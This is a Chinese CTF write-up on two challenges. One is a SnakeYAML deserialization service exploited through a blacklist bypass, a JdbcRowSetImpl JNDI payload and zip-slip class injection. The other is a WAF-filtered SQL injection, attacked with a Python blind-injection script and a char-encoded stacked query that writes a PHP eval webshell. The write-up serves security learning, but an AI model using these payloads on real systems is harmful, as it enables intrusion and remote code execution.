turn
出网打法
有个文件上传接口,可以在线解压。
yaml反序列化,固定反序列化/opt/resources下的文件。
黑名单:
{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
大致看一下,可以利用的点:
- /upload处,可以目录穿越,可以传文件到任意为止,但是后缀固定是zip。yaml反序列化不看文件后缀名。
- /unzip这里,注意看entry.getName(),没有做检查,也可以穿越,这个比较牛逼,不限后缀,且父目录不存在则会创建。怎么利用呢?像这样:
import zipfile
with zipfile.ZipFile('example.zip', 'w') as zipf:
zipf.write('your_file','../your_file.txt')
这样的entry.getName()就是带../的。
直接使用unzip命令会跳过目录穿越:
做法就是,绕过黑名单,然后直接打jndi。
%TAG ! tag:yaml.org,2002:
---
!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://127.0.0.1"
autoCommit: true
不出网打法
好了,现在这题假如不出网怎么打?
现场打的时候,直接打jndi不通外网的vps,所以花了好几个小时本地调试,排查问题,然后摸索不出网的打法。有点头绪之后,发现竟然通接入的vpn的本机ip,就直接打jndi。
结束之后,继续之前的不出网打法思路,最终摸索出来了。
思路:由于已经能达成任意文件写,所以想写一个恶意类,到jdk的类加载路径,然后使用yaml去触发反序列化。
先确定jdk路径:/usr/lib/jvm/java-8-openjdk-amd64/jre/
怎么确定的?本机的jdk8路径是这个,然后借助/upload的目录穿越,穿越到这里,如果这个目录存在,则正常上传文件,否则会提示报错信息。
然后借助/upzip,写一个类,写到/usr/lib/jvm/java-8-openjdk-amd64/jre/classes下。这个目录下的类文件默认都会查找。
恶意类:
public class UnkExp {
public UnkExp(){
// Evil operation
}
}
yaml
%TAG ! tag:yaml.org,2002:
---
!example.UnkExp
我以为这样会自动调用无参构造。
然后报错:
Caused by: org.yaml.snakeyaml.error.YAMLException: No single argument constructor found for class example.UnkExp : null
虽然不知道为什么,那就再加上一个单参构造,然后继续报错:
Caused by: org.yaml.snakeyaml.error.YAMLException: Unsupported class: class java.lang.Object
为什么呢?比赛时就卡在这个位置。
睡一觉之后继续思考,会不会是因为没有字段?改成这样:
%TAG ! tag:yaml.org,2002:
---
!example.UnkExp
autoCommit: true
类写成这样
public class UnkExp {
public UnkExp(){}
public UnkExp(Object o){}
public void setAutoCommit(boolean o){
}
}
不报错了,可以成功进setter。
后续就是打内存马。
总结一下,问题还是自己想当然以为会调构造器的,省了字段的这一步。
问题又来了,为什么有字段可以,没字段不行呢?
根据异常去找一下调用栈,看看哪里不一样。
成功触发setter时的调用栈:
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:290)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:171)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:484)
报错Unsupported class: class java.lang.Object
时的调用栈
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:513)
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.construct(Constructor.java:396)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:335)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:484)
差别在,一个是Constructor$ConstructScalar.construct
,一个是Constructor$ConstructMapping.construct
断点打在:Constructor$ConstructYamlObject.construct
发现解析出来的两种Node不一样:
<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:``yaml.org``,2002:example.UnkExp, value=)>
<org.yaml.snakeyaml.nodes.MappingNode (tag=tag:``yaml.org``,2002:com.sun.rowset.JdbcRowSetImpl, values=...
GPT解释:
所以就是有字段值被当做Map,没有字段被当做标量了。
sqlmagic
sql注入。
单双引号井号还有 -- 都被waf拦截
如此闭合:
select x from x where username="$username" and password="$password"
select x from x where username="1\" and password="=0;"
盲注脚本
from dataclasses import dataclass
import requests,time,string
@dataclass
class BasicType:
value:str
def __str__(self) -> str:
return self.value
class Boolean(BasicType):
pass
@dataclass
class Ascii(BasicType):
def equals(self,another:'Ascii'):
r2 = Boolean(f'(({self.value})=({another.value}))')
return r2
def greater(self,another:'Ascii'):
r = Boolean(f"(leAst({self.value},{another.value})in({another.value}))")
return r
@dataclass
class String(BasicType):
def asciiAt(self,index:int) -> Ascii:
s2 = Ascii(f'(Ascii(right(left({self.value},{index}),1)))')
return s2
def equals(self,another:'String') -> Boolean:
return Boolean(f'(({self.value})in({another.value}))')
def getStringValueByAscii(target:String,len:int=999):
result = ''
for i in range(1,len):
stop = True
left = 32
right = 128
while (right > left):
mid = (left + right) // 2
if judgeBoolean(target.asciiAt(i).equals(Ascii(mid))):
result += chr(mid)
print(i,result)
stop = False
break
elif judgeBoolean(target.asciiAt(i).greater(Ascii(mid))):
left = mid
else:
right = mid
if stop:
break
def condition(res):
if 'Success' in res.text:
return True
return False
def judgeBoolean(target:Boolean):
url = 'http://172.25.29.19/index.php'
data = {'username':f"114\\",'password':f'=if({target},0,1);'}
res = requests.post(url,data=data)
return condition(res)
if __name__ == '__main__':
getStringValueByAscii(String('password'))
跑出来密码,但是没啥用。
读变量
思路明显了,估计是要写shell。
先读index.php看看:
getStringValueByAscii(String('hex(load_file(char(47,118,97,114,47,119,119,119,47,104,116,109,108,47,105,110,100,101,120,46,112,104,112)))'))
<?php
session_start();
error_reporting(0);
$con = new PDO("mysql:host=localhost;port=3306;dbname=ctf", 'root', 'root');
if(isset($_POST["username"]) && isset($_POST["password"])){
$username=$_POST["username"];
$password=$_POST["password"];
if(preg_match("/[#'\"*\/<>-]|select|union|case|between|like|regexp|set|do|0x|0b|\s|\w\xa0+\(/is", $username) || preg_match("/[#'\"*\/<>-]|select|union|case|between|like|regexp|set|do|0x|0b|\s|\w\xa0+\(/is", $password)){
die("waf");
}
$sql = "SELECT username FROM user WHERE username = \"$username\" and password = \"$password\"";
$ret = $con->query($sql);
if (count($ret->fetchAll())>0){
die("Success");
}
else{
die("Wrong username or password");
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link rel="stylesheet" href="./all.min.css">
<style>
存在堆叠注入,我还是想当然以为不可以,甚至也没有去测,导致浪费了3 4小时。
过程中尝试各种写shell的绕过,顺便补充了不懂的。
- 没有union 和 select,但是有引号时候,可以这样:into outfile '/var/www/html/shell.php' fields terminated by '\<?php assert($_POST["cmd"]);?>'
- outfile和dumpfile后面,必须接字符串的常量,函数变换比如char还有反引号都不行。
然后是堆叠,没有set,怎么办呢?测试如下:prepare from 这个语句后边,mariadb可以接字符串表达式,但是mysql必须接字符串常量或者@变量。
用这个::=定义变量语法可以在where字句用
最终payload:
username=123&password=and%a0@c2:=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,103,46,112,104,112,39,59);prepare%a0p%a0from%a0@c2;execute%a0p;